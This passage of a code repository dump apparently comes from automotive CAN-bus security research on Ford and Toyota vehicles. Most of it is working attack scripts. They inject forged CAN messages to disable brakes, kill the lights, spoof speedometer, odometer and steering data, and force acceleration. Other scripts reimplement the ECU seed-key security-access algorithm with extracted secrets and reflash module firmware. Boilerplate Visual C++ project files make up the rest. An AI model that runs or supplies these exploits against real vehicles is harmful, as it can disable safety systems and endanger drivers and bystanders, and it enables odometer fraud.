handle, wid, 0xb2, [0x01])) 16 | # uncomment to fix lights 17 | #do_download(mydll, handle, wid, 0x7fc000, '726_007fc0-again.firmware') 18 | #send_data(mydll, handle, wid, [0x11,0x01]) 19 | 20 | send_data(mydll, handle, wid, [0x10, 0x81]) 21 | 22 | mydll.close_device(handle) 23 | -------------------------------------------------------------------------------- /code/ecomcat_api/lights_out.py: -------------------------------------------------------------------------------- 1 | from FordStuff import * 2 | 3 | # initalize 4 | mydll = CDLL('Debug\\ecomcat_api') 5 | 6 | # MS CAN 7 | handle = mydll.open_device(3,0) 8 | wid = 0x726 9 | 10 | if do_diagnostic_session(mydll, handle, wid, "prog"): 11 | print("Started diagnostic session") 12 | time.sleep(1) 13 | do_security_access(mydll, handle, wid) 14 | 15 | while True: 16 | send_data(mydll, handle, wid, [0x7e, 0x80]) 17 | time.sleep(.1) 18 | 19 | mydll.close_device(handle) 20 | -------------------------------------------------------------------------------- /code/ecomcat_api/message-looper.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,37440) 9 | 10 | LOOPER = 0 11 | 12 | f = open("input.dat", "r") 13 | sff_lines = f.readlines() 14 | 15 | num_of_sffs = len(sff_lines) 16 | SFFArray = SFFMessage * num_of_sffs 17 | sffs = SFFArray() 18 | 19 | for i in range(0, num_of_sffs): 20 | ecom.mydll.DbgLineToSFF(sff_lines[i], pointer(sffs[i])) 21 | 22 | print("Starting to send msgs") 23 | while(1): 24 | for i in range(0, num_of_sffs): 25 | curr = sffs[i] 26 | 27 | ## if LOOPER == 1: 28 | ## #if curr.IDH == 0x00 and curr.IDL == 0xB4: 29 | ## # curr.data[4] += 1 & 0xFF 30 | ## if curr.IDH == 0x02 and curr.IDL == 0xE4: 31 | ## curr.data[0] += 1 & 0xFF 32 | ## curr.data[0] |= 0x80 33 | ## if curr.IDH == 0x02 and curr.IDL == 0x83: 34 | ## curr.data[0] += 1 & 0x7F 35 | ## 36 | ## ecom.mydll.FixChecksum(pointer(curr)) 37 | 38 | #ecom.mydll.PrintSFF(pointer(curr), 0) 39 | ecom.mydll.write_message(ecom.handle, pointer(curr)) 40 | -------------------------------------------------------------------------------- /code/ecomcat_api/nav_system.py: -------------------------------------------------------------------------------- 1 | from FordStuff import * 2 | 3 | # initalize 4 | mydll = CDLL('Debug\\ecomcat_api') 5 | # HS CAN 6 | handle = mydll.open_device(1,0) 7 | 8 | z = pointer(SFFMessage()) 9 | read_by_wid = mydll.read_message_by_wid_with_timeout 10 | read_by_wid.restype = POINTER(SFFMessage) 11 | z = read_by_wid(handle, 0x217) 12 | mydll.PrintSFF(z,0) 13 | wheel = z.contents.data[0] << 8 14 | wheel += z.contents.data[1] 15 | 16 | print("%x" % wheel) 17 | yy = pointer(SFFMessage()) 18 | 19 | while True: 20 | wheel += 0x1 21 | mydll.DbgLineToSFF("IDH: 02, IDL: 17, Len: 08, Data: %02x %02x %02x %02x 00 50 00 00 ,TS: 17342,BAUD: 205" % ((wheel & 0xff00) >> 8, wheel & 0xff, (wheel & 0xff00) >> 8, wheel & 0xff), yy) 22 | mydll.PrintSFF(yy,0) 23 | mydll.write_message(handle, yy) 24 | -------------------------------------------------------------------------------- /code/ecomcat_api/no_brakes.py: -------------------------------------------------------------------------------- 1 | from FordStuff import * 2 | 3 | # initalize 4 | mydll = CDLL('Debug\\ecomcat_api') 5 | # HS CAN 6 | handle = mydll.open_device(1,0) 7 | wid = 0x760 8 | 9 | while True: 10 | if not len( do_proprietary(mydll, handle, wid, 0x2b, [0xff, 0xff])): 11 | do_diagnostic_session(mydll, handle, wid, "adj") 12 | 13 | mydll.close_device(handle) 14 | -------------------------------------------------------------------------------- /code/ecomcat_api/odometer.py: -------------------------------------------------------------------------------- 1 | from FordStuff import * 2 | 3 | # initalize 4 | mydll = CDLL('Debug\\ecomcat_api') 5 | # HS CAN 6 | handle = mydll.open_device(1,0) 7 | 8 | z = pointer(SFFMessage()) 9 | read_by_wid = mydll.read_message_by_wid_with_timeout 10 | read_by_wid.restype = POINTER(SFFMessage) 11 | z = read_by_wid(handle, 0x420) 12 | mydll.PrintSFF(z,0) 13 | odometer = z.contents.data[0] << 16 14 | odometer += z.contents.data[1] << 8 15 | odometer += z.contents.data[2] 16 | 17 | yy = pointer(SFFMessage()) 18 | 19 | while True: 20 | odometer += 0x1000 21 | mydll.DbgLineToSFF("IDH: 04, IDL: 20, Len: 08, Data: %02x %02x %02x 00 00 00 02 00 ,TS: 17342,BAUD: 205" % ((odometer & 0xff0000) >> 16, (odometer & 0xff00) >> 8, odometer & 0xff), yy) 22 | mydll.PrintSFF(yy,0) 23 | mydll.write_message(handle, yy) 24 | 25 | mydll.close_device(handle) 26 | -------------------------------------------------------------------------------- /code/ecomcat_api/pcm.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | 3 | mydll = CDLL('Debug\\ecomcat_api') 4 | # 5 | 6 | class SFFMessage(Structure): 7 | _fields_ = [("IDH", c_ubyte), 8 | ("IDL", c_ubyte), 9 | ("data", c_ubyte * 8), 10 | ("options", c_ubyte), 11 | ("DataLength", c_ubyte), 12 | ("TimeStamp", c_uint), 13 | ("baud", c_ubyte)] 14 | 15 | 16 | # initalize 17 | handle = mydll.open_device(1,0) 18 | 19 | def key_from_seed(seed): 20 | 21 | # print "Observed seed: "+seed 22 | # 23 | # This is the "secret" found in debugger 24 | # 25 | s1 = 0x08 26 | s2 = 0x30 27 | s3 = 0x61 28 | s4 = 0xa4 29 | s5 = 0xc5 30 | 31 | seed_int = (int(seed[0:2],16)<<16) + (int(seed[3:5],16)<<8) + (int(seed[6:8],16)) 32 | or_ed_seed = ((seed_int & 0xFF0000) >> 16) | (seed_int & 0xFF00) | (s1 << 24) | (seed_int & 0xff) << 16 33 | mucked_value = 0xc541a9 34 | 35 | for i in range(0,32): 36 | a_bit = ((or_ed_seed >> i) & 1 ^ mucked_value & 1) << 23 37 | v9 = v10 = v8 = a_bit | (mucked_value >> 1); 38 | mucked_value = v10 & 0xEF6FD7 | ((((v9 & 0x100000) >> 20) ^ ((v8 & 0x800000) >> 23)) << 20) | (((((mucked_value >> 1) & 0x8000) >> 15) ^ ((v8 & 0x800000) >> 23)) << 15) | (((((mucked_value >> 1) & 0x1000) >> 12) ^ ((v8 & 0x800000) >> 23)) << 12) | 32 * ((((mucked_value >> 1) & 0x20) >> 5) ^ ((v8 & 0x800000) >> 23)) | 8 * ((((mucked_value >> 1) & 8) >> 3) ^ ((v8 & 0x800000) >> 23)); 39 | 40 | for j in range(0,32): 41 | a_bit = ((((s5 << 24) | (s4 << 16) | s2 | (s3 << 8)) >> j) & 1 ^ mucked_value & 1) << 23; 42 | v14 = v13 = v12 = a_bit | (mucked_value >> 1); 43 | mucked_value = v14 & 0xEF6FD7 | ((((v13 & 0x100000) >> 20) ^ ((v12 & 0x800000) >> 23)) << 20) | (((((mucked_value >> 1) & 0x8000) >> 15) ^ ((v12 & 0x800000) >> 23)) << 15) | (((((mucked_value >> 1) & 0x1000) >> 12) ^ ((v12 & 0x800000) >> 23)) << 12) | 32 * ((((mucked_value >> 1) & 0x20) >> 5) ^ ((v12 & 0x800000) >> 23)) | 8 * ((((mucked_value >> 1) & 8) >> 3) ^ ((v12 & 0x800000) >> 23)); 44 | 45 | key = ((mucked_value & 0xF0000) >> 16) | 16 * (mucked_value & 0xF) | ((((mucked_value & 0xF00000) >> 20) | ((mucked_value & 0xF000) >> 8)) << 8) | ((mucked_value & 0xFF0) >> 4 << 16); 46 | 47 | # print "Computed key: %x" % key 48 | return "%02X %02X %02X" % ( (key & 0xff0000) >> 16, (key & 0xff00) >> 8, key & 0xff) 49 | 50 | 51 | def send_to_e0(mydll, handle, line): 52 | yy = pointer(SFFMessage()) 53 | mydll.DbgLineToSFF(f"IDH: 07, IDL: E0, Len: 08, Data: {line}", yy) 54 | mydll.PrintSFF(yy,0) 55 | mydll.write_message(handle, yy) 56 | read_by_wid = mydll.read_message_by_wid 57 | read_by_wid.restype = POINTER(SFFMessage) 58 | z = mydll.read_message_by_wid(handle, 0x7e8) 59 | mydll.PrintSFF(z,0) 60 | first_byte = z.contents.data[0] 61 | ret = "" 62 | 63 | if first_byte > 0x8: 64 | toread = ((first_byte & 0xf) << 8) + z.contents.data[1] 65 | toread -= 6 66 | ret = z.contents.data[2:] 67 | mydll.DbgLineToSFF("IDH: 07, IDL: E0, Len: 08, Data: 30 00 00 00 00 00 00 00", yy) 68 | mydll.PrintSFF(yy,0) 69 | mydll.write_message(handle, yy) 70 | while( toread > 0 ): 71 | z = mydll.read_message_by_wid(handle, 0x7e8) 72 | toread -= 7 73 | mydll.PrintSFF(z,0) 74 | ret += z.contents.data[1:] 75 | else: 76 | ret = z.contents.data[1:] 77 | return "".join("%02X " % x for x in ret) 78 | 79 | 80 | #raw_input("make sure car is in bootrom mode, use CarDaqPlusCat") 81 | send_to_e0(mydll, handle, "02 10 02 00 00 00 00 00") 82 | seed = send_to_e0(mydll, handle, "02 27 01 00 00 00 00 00") 83 | #print seed 84 | key = key_from_seed(seed[6:]) 85 | send_to_e0(mydll, handle, f"05 27 02 {key} 00 00") 86 | #send_to_e0(mydll, handle, "07 23 14 00 0f 80 00 10") 87 | send_to_e0(mydll, handle, "07 23 14 00 01 00 C0 10") 88 | 89 | mydll.close_device(handle) 90 | 91 | -------------------------------------------------------------------------------- /code/ecomcat_api/program_pam.py: -------------------------------------------------------------------------------- 1 | from FordStuff import * 2 | 3 | # initalize 4 | mydll = CDLL('Debug\\ecomcat_api') 5 | # HS CAN 6 | handle = mydll.open_device(1,0) 7 | wid = 0x736 8 | 9 | filename = 'try_send_can.bin' 10 | 11 | if do_diagnostic_session(mydll, handle, wid, "prog"): 12 | print("Started diagnostic session") 13 | time.sleep(1) 14 | do_security_access(mydll, handle, wid) 15 | 16 | try: 17 | with open(filename): pass 18 | except IOError: 19 | print('Need firmware file to upload') 20 | sys.exit(0) 21 | 22 | if do_download_compliant(mydll, handle, wid, 0x0, filename): 23 | do_routine(mydll, handle, wid, 0x0301, [0x00, 0x00, 0x30, 0x00]) 24 | 25 | mydll.close_device(handle) 26 | -------------------------------------------------------------------------------- /code/ecomcat_api/seatbelt-ecu.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,37440) 9 | #ecom.open_device(1,0) 10 | 11 | ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x01]) 12 | 13 | time.sleep(3) 14 | 15 | ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x02]) 16 | 17 | #read one message (should contain payload of: 0x08) 18 | #sff = pointer(SFFMessage()) 19 | #ecom.mydll.DbgLineToSFF("IDH: 03, IDL: 44, Len: 08, Data: FF 7F 00 00 00 08 00 D5", sff) 20 | 21 | #ret = ecom.send_iso_tp_data(0x781, [0x3E]) 22 | 23 | #ecom.mydll.write_messages_from_file(ecom.handle, "input.dat") 24 | #ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x01]) 25 | 26 | #ret = ecom.mydll.read_message_by_wid(ecom.handle, 0x039C) 27 | #ecom.mydll.write_messages_from_file(ecom.handle, "car-startup-trim.dat") 28 | 29 | #ret = ecom.mydll.read_message_by_wid(ecom.handle, 0x039C) 30 | #ecom.mydll.write_messages_from_file(ecom.handle, "car-startup-trim.dat") 31 | 32 | #read the messages from the wire 33 | #i = 0 34 | #while(i < 10): 35 | # ret = ecom.mydll.read_message_by_wid(ecom.handle, 0x039C) 36 | # ecom.mydll.PrintSFF(ret,0) 37 | # i += 1 38 | 39 | #ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x01]) 40 | #ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x02]) 41 | 42 | # for j in range(0, 20): 43 | # ecom.mydll.write_message(ecom.handle, sff) 44 | # time.sleep(.05) 45 | 46 | #ret = ecom.mydll.read_message_by_wid(ecom.handle, 0x04D4) 47 | #ecom.mydll.PrintSFF(ret,0) 48 | 49 | 50 | #ecom.diagnostic_session(0x781, [0x10, 0x01]) 51 | #ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x01]) 52 | # i += 1 53 | -------------------------------------------------------------------------------- /code/ecomcat_api/seatbelt-writer.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,37436) 9 | 10 | #f = open("can2-startup-min-drivers.dat", "r") 11 | f = open("can2-passenger.dat", "r") 12 | sff_lines = f.readlines() 13 | 14 | num_of_sffs = len(sff_lines) 15 | SFFArray = SFFMessage * num_of_sffs 16 | sffs = SFFArray() 17 | 18 | for i in range(0, num_of_sffs): 19 | ecom.mydll.DbgLineToSFF(sff_lines[i], pointer(sffs[i])) 20 | 21 | print("Starting to send msgs") 22 | 23 | #ecom.mydll.write_messages_from_file(ecom.handle, "input.dat") 24 | #ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x01]) 25 | 26 | while(1): 27 | ## for i in range(0, 30): 28 | ## ecom.mydll.write_message(ecom.handle, sff_0024_F9) 29 | ## 30 | ## for i in range(0, 4): 31 | ## ecom.mydll.write_message(ecom.handle, sff_0344) 32 | ## 33 | ## for i in range(0, 4): 34 | ## ecom.mydll.write_message(ecom.handle, sff_0024_F8) 35 | 36 | #ecom.mydll.write_message(ecom.handle, sff_0024) 37 | #ecom.mydll.write_message(ecom.handle, sff_0024) 38 | #ecom.mydll.write_message(ecom.handle, sff_0344) 39 | #time.sleep(.01) 40 | 41 | for i in range(0, num_of_sffs): 42 | ecom.mydll.write_message(ecom.handle, pointer(sffs[i])) 43 | #for j in range(0, 20): 44 | # #ecom.mydll.write_message(ecom.handle, sff) 45 | # ecom.mydll.write_messages_from_file(ecom.handle, "can2-startup-piece.dat") 46 | # #time.sleep(.05) 47 | -------------------------------------------------------------------------------- /code/ecomcat_api/security.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | #install_pcm 4 | #seed = "45 82 0A" 5 | #real_key = "3B 15 E1" 6 | 7 | #install_pcm_again 8 | #seed = "36 F0 F7" 9 | #real_key = "C9 4E C9" 10 | 11 | #sjb 12 | seed = "7A 6B 61" 13 | real_key = "96 11 73" 14 | 15 | print(f"Observed seed: {seed}") 16 | # 17 | # This is the "secret" found in debugger for PCM 18 | # 19 | #s1 = 0x08 20 | #s2 = 0x30 21 | #s3 = 0x61 22 | #s4 = 0xa4 23 | #s5 = 0xc5 24 | 25 | # 26 | # for SJB 27 | # 28 | s1 = 0x3f 29 | s2 = 0x9e 30 | s3 = 0x78 31 | s4 = 0xc5 32 | s5 = 0x96 33 | 34 | seed_int = ( 35 | (int(seed[:2], 16) << 16) 36 | + (int(seed[3:5], 16) << 8) 37 | + (int(seed[6:8], 16)) 38 | ) 39 | #print "Seed: %x" % seed_int 40 | 41 | or_ed_seed = ((seed_int & 0xFF0000) >> 16) | (seed_int & 0xFF00) | (s1 << 24) | (seed_int & 0xff) << 16 42 | #print "or_ed_seed: %x\n" % or_ed_seed 43 | 44 | mucked_value = 0xc541a9 45 | 46 | for i in range(0,32): 47 | a_bit = ((or_ed_seed >> i) & 1 ^ mucked_value & 1) << 23 48 | v9 = v10 = v8 = a_bit | (mucked_value >> 1); 49 | mucked_value = v10 & 0xEF6FD7 | ((((v9 & 0x100000) >> 20) ^ ((v8 & 0x800000) >> 23)) << 20) | (((((mucked_value >> 1) & 0x8000) >> 15) ^ ((v8 & 0x800000) >> 23)) << 15) | (((((mucked_value >> 1) & 0x1000) >> 12) ^ ((v8 & 0x800000) >> 23)) << 12) | 32 * ((((mucked_value >> 1) & 0x20) >> 5) ^ ((v8 & 0x800000) >> 23)) | 8 * ((((mucked_value >> 1) & 8) >> 3) ^ ((v8 & 0x800000) >> 23)); 50 | # print "mucked: %x" % (mucked_value) 51 | 52 | for j in range(0,32): 53 | v11 = ((((s5 << 24) | (s4 << 16) | s2 | (s3 << 8)) >> j) & 1 ^ mucked_value & 1) << 23; 54 | v12 = v11 | (mucked_value >> 1); 55 | v13 = v11 | (mucked_value >> 1); 56 | v14 = v11 | (mucked_value >> 1); 57 | mucked_value = v14 & 0xEF6FD7 | ((((v13 & 0x100000) >> 20) ^ ((v12 & 0x800000) >> 23)) << 20) | (((((mucked_value >> 1) & 0x8000) >> 15) ^ ((v12 & 0x800000) >> 23)) << 15) | (((((mucked_value >> 1) & 0x1000) >> 12) ^ ((v12 & 0x800000) >> 23)) << 12) | 32 * ((((mucked_value >> 1) & 0x20) >> 5) ^ ((v12 & 0x800000) >> 23)) | 8 * ((((mucked_value >> 1) & 8) >> 3) ^ ((v12 & 0x800000) >> 23)); 58 | 59 | key = ((mucked_value & 0xF0000) >> 16) | 16 * (mucked_value & 0xF) | ((((mucked_value & 0xF00000) >> 20) | ((mucked_value & 0xF000) >> 8)) << 8) | ((mucked_value & 0xFF0) >> 4 << 16); 60 | 61 | print("Computed key: %x" % key) 62 | print(f"observed key: {real_key}") 63 | -------------------------------------------------------------------------------- /code/ecomcat_api/speed_bad.dat: -------------------------------------------------------------------------------- 1 | IDH: 00, IDL: B4, Len: 08, Data: 00 00 00 00 00 FF FF BA 2 | -------------------------------------------------------------------------------- /code/ecomcat_api/speedometer.py: -------------------------------------------------------------------------------- 1 | from FordStuff import * 2 | import sys 3 | 4 | if len(sys.argv) < 3: 5 | sys.exit(f'Usage: {sys.argv[0]} rpm mph') 6 | 7 | rpm = int(sys.argv[1]) 8 | mph = int(sys.argv[2]) 9 | 10 | can_mph = int( 154 * (mph + 67) ) 11 | can_rpm = int( 4 * (rpm + 24) ) 12 | 13 | # initalize 14 | mydll = CDLL('Debug\\ecomcat_api') 15 | # HS CAN 16 | handle = mydll.open_device(1,0) 17 | 18 | y = pointer(SFFMessage()) 19 | mydll.DbgLineToSFF("IDH: 02, IDL: 01, Len: 08, Data: %02X %02X 00 00 %02X %02X 00 00" % ((can_rpm & 0xff00) >> 8, can_rpm & 0xff, (can_mph & 0xff00) >> 8, can_mph & 0xff), y) 20 | 21 | while True: 22 | mydll.write_message_cont(handle, y, 1000) 23 | 24 | mydll.close_device(handle) 25 | -------------------------------------------------------------------------------- /code/ecomcat_api/terminal.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | while 1: 4 | sys.stdout.write("Enter CAN Data: ") 5 | line = sys.stdin.readline() 6 | line = line.strip() 7 | 8 | #Hit q to quit 9 | if line in ["q", "Q"]: 10 | break 11 | 12 | payload = [int(x, 16) for x in line.split(' ')] 13 | print("N) Normal A) AckData D) AckDataAck") 14 | sys.stdout.write("Enter Msg Type: ") 15 | msg_type = sys.stdin.readline() 16 | msg_type = msg_type.upper().strip() 17 | 18 | print(payload) 19 | print(msg_type) 20 | -------------------------------------------------------------------------------- /code/ecomcat_api/test.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | import time 3 | 4 | mydll = CDLL('Debug\\ecomcat_api') 5 | # 6 | 7 | class SFFMessage(Structure): 8 | _fields_ = [("IDH", c_ubyte), 9 | ("IDL", c_ubyte), 10 | ("data", c_ubyte * 8), 11 | ("options", c_ubyte), 12 | ("DataLength", c_ubyte), 13 | ("TimeStamp", c_uint), 14 | ("baud", c_ubyte)] 15 | 16 | 17 | # initalize 18 | 19 | # HS CAN 20 | handle = mydll.open_device(1,37445) 21 | #handle = mydll.open_device(1,37442) 22 | # MS CAN 23 | #handle = mydll.open_device(3,0) 24 | 25 | 26 | # 27 | # Turn on video camera (must not be in park) 28 | # 29 | #y = pointer(SFFMessage()) 30 | #mydll.DbgLineToSFF("IDH: 02, IDL: 30, Len: 08, Data: A1 00 00 00 00 00 5D 30", y) 31 | #mydll.write_message_cont(handle, y, 1000) 32 | 33 | 34 | 35 | # 36 | # Make the pam beep with sensor stuff 37 | # 38 | y = pointer(SFFMessage()) 39 | mydll.DbgLineToSFF("IDH: 02, IDL: 30, Len: 08, Data: A1 00 00 00 00 00 3D 30", y) 40 | #mydll.write_message_cont(handle, y, 20000) 41 | #while True: 42 | # mydll.PrintSFF(y,0) 43 | # mydll.write_message(handle, y) 44 | # time.sleep(.01) 45 | 46 | 47 | 48 | # read and print message from device 49 | #z = mydll.read_message_by_wid(handle, 0x136) 50 | #z = mydll.read_message(handle) 51 | #mydll.PrintSFF(z,0) 52 | 53 | 54 | 55 | # define and fill some messaegs 56 | #x = SFFMessage() 57 | #x.IDH = 0x69 58 | #x.IDL = 0x41 59 | 60 | 61 | #mydll.DbgLineToSFF("IDH: 07, IDL: 60, Len: 08, Data: 02 10 81 00 00 00 00 00", y) 62 | #mydll.PrintSFF(y,0) 63 | #mydll.write_message(handle, y) 64 | 65 | 66 | # write single messages 67 | #mydll.write_message(0, byref(x)) 68 | #mydll.write_message_cont(handle, y, 1000) 69 | 70 | # create an array of messages 71 | #SFFArray = SFFMessage * 10 72 | #sffs = SFFArray() 73 | #mydll.DbgLineToSFF("IDH: 01, IDL: 67, Len: 08, Data: 41 41 41 41 41 41 41 41", pointer(sffs[0])) 74 | #mydll.DbgLineToSFF("IDH: 01, IDL: 68, Len: 08, Data: 42 42 42 42 42 42 42 42", pointer(sffs[1])) 75 | #mydll.DbgLineToSFF("IDH: 01, IDL: 69, Len: 08, Data: 43 43 43 43 43 43 43 43", pointer(sffs[2])) 76 | #print sffs[2].IDL 77 | 78 | # write out some of the message stuffs 79 | #mydll.write_messages_cont(handle, pointer(pointer(sffs)), 1000) 80 | 81 | 82 | mydll.write_messages_from_file(handle, "long_reverse18.dat") 83 | 84 | mydll.close_device(handle) 85 | #mydll.PrintSFF(y, 0) 86 | 87 | #print "%x" % x.IDH 88 | #print "%x" % y.contents.IDL 89 | #print "%x" % sffs[0].IDL 90 | -------------------------------------------------------------------------------- /code/ecomcat_api/test_api/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : test_api Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this test_api application for you. 6 | 7 | This file contains a summary of what you will find in each of the files that 8 | make up your test_api application. 9 | 10 | 11 | test_api.vcxproj 12 | This is the main project file for VC++ projects generated using an Application Wizard. 13 | It contains information about the version of Visual C++ that generated the file, and 14 | information about the platforms, configurations, and project features selected with the 15 | Application Wizard. 16 | 17 | test_api.vcxproj.filters 18 | This is the filters file for VC++ projects generated using an Application Wizard. 19 | It contains information about the association between the files in your project 20 | and the filters. This association is used in the IDE to show grouping of files with 21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the 22 | "Source Files" filter). 23 | 24 | test_api.cpp 25 | This is the main application source file. 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | Other standard files: 29 | 30 | StdAfx.h, StdAfx.cpp 31 | These files are used to build a precompiled header (PCH) file 32 | named test_api.pch and a precompiled types file named StdAfx.obj. 33 | 34 | ///////////////////////////////////////////////////////////////////////////// 35 | Other notes: 36 | 37 | AppWizard uses "TODO:" comments to indicate parts of the source code you 38 | should add to or customize. 39 | 40 | ///////////////////////////////////////////////////////////////////////////// 41 | -------------------------------------------------------------------------------- /code/ecomcat_api/test_api/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // test_api.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /code/ecomcat_api/test_api/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: reference additional headers your program requires here 16 | -------------------------------------------------------------------------------- /code/ecomcat_api/test_api/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /code/ecomcat_api/test_api/test_api.c: -------------------------------------------------------------------------------- 1 | // test_api.cpp : Defines the entry point for the console application. 2 | // 3 | 4 | #include "stdafx.h" 5 | #include "..\ecomcat_api\api_file.h" 6 | 7 | int _tmain(int argc, _TCHAR* argv[]) 8 | { 9 | HANDLE h = open_device(CAN_BAUD_500K,0); 10 | SFFMessage *msg = NULL; 11 | int num_network = 0; 12 | 13 | while(1) 14 | { 15 | num_network = GetQueueSize(h, CAN_GET_SFF_SIZE); 16 | printf("%d\n", num_network); 17 | msg = read_message(h); 18 | } 19 | 20 | // SFFMessage sff[4]; 21 | // SFFMessage *cur = sff; 22 | // 23 | // memset(sff, 0, 4 * sizeof(SFFMessage)); 24 | // 25 | // DbgLineToSFF("IDH: 01, IDL: 67, Len: 08, Data: 00 60 00 00 00 00 00 69", cur++); 26 | // DbgLineToSFF("IDH: 01, IDL: 68, Len: 08, Data: 00 60 00 00 00 00 00 00", cur++); 27 | // DbgLineToSFF("IDH: 01, IDL: 69, Len: 08, Data: 41 41 41 41 41 41 41 41", cur++); 28 | // 29 | // cur = sff; 30 | //// write_messages(h, &cur); 31 | //// PrintSFF(&sff[2], NULL); 32 | // cur = read_message(h); 33 | //// cur = read_message_by_wid(h, 0x80); 34 | // PrintSFF(cur, NULL); 35 | // 36 | //// write_message(h, cur); 37 | //// write_messages_from_file(h, "..\\test.dat"); 38 | // 39 | // close_device(h); 40 | 41 | return 0; 42 | } 43 | 44 | -------------------------------------------------------------------------------- /code/ecomcat_api/test_api/test_api.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {E76CDB5C-F3D9-48A0-9972-0C1CEEBA7D02} 15 | Win32Proj 16 | test_api 17 | 18 | 19 | 20 | Application 21 | true 22 | Unicode 23 | 24 | 25 | Application 26 | false 27 | true 28 | Unicode 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | true 42 | 43 | 44 | false 45 | 46 | 47 | 48 | 49 | 50 | Level3 51 | Disabled 52 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 53 | 54 | 55 | Console 56 | true 57 | ecommlib.lib;ecomcat_api.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 58 | ../Debug;../ecomcat_api 59 | 60 | 61 | 62 | 63 | Level3 64 | 65 | 66 | MaxSpeed 67 | true 68 | true 69 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 70 | 71 | 72 | Console 73 | true 74 | true 75 | true 76 | 77 | 78 | 79 | 80 | Document 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | Document 95 | 96 | 97 | Document 98 | 99 | 100 | 101 | 102 | 103 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_accelerate.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,37436) 9 | 10 | #SFFLINE = "IDH: 00, IDL: 37, Len: 07, Data: C2 13 52 03 AC 00 14" 11 | #SFFLINE = "IDH: 00, IDL: 37, Len: 07, Data: C8 FE 58 13 E4 00 53" 12 | SFFLINE = "IDH: 00, IDL: 37, Len: 07, Data: C6 13 18 0E ED 00 2A" 13 | 14 | SFFArray = SFFMessage * 1 15 | SFFS = SFFArray() 16 | 17 | ecom.mydll.DbgLineToSFF(SFFLINE, pointer(SFFS[0])) 18 | 19 | ecom.mydll.FixChecksum(pointer(SFFS[0])) 20 | 21 | while(1): 22 | ecom.mydll.write_message(ecom.handle, pointer(SFFS[0])) 23 | #time.sleep(.0003) 24 | 25 | NOCHECK = 1 26 | 27 | while 1: 28 | 29 | #read_by_wid = ecom.mydll.read_message_by_wid_with_timeout 30 | #read_by_wid.restype = POINTER(SFFMessage) 31 | #sff_resp = ecom.mydll.read_message_by_wid_with_timeout(ecom.handle, 0x0037, 1000) 32 | 33 | #if(sff_resp[0].data[0] == 0xC2): 34 | # SFFS[0] = sff_resp[0] 35 | # break 36 | 37 | #increment two bytes 38 | X1 = SFFS[0].data[0] 39 | X2 = SFFS[0].data[1] 40 | if (X2 == 0xFF): 41 | if (X1 < 0xC9): 42 | X1 += 1 43 | 44 | #X2 45 | X2 += 1 & 0xFF 46 | 47 | SFFS[0].data[0] = X1 48 | SFFS[0].data[1] = X2 49 | 50 | for _ in range(0, 2): 51 | Y1 = SFFS[0].data[3] 52 | Y2 = SFFS[0].data[4] 53 | if (Y2 == 0xFF): 54 | if (Y1 < 0xFF): 55 | Y1 += 1 56 | 57 | #Y2 58 | Y2 += 1 & 0xFF 59 | 60 | SFFS[0].data[3] = Y1 61 | SFFS[0].data[4] = Y2 62 | ecom.mydll.PrintSFF(pointer(SFFS[0]), 0) 63 | 64 | 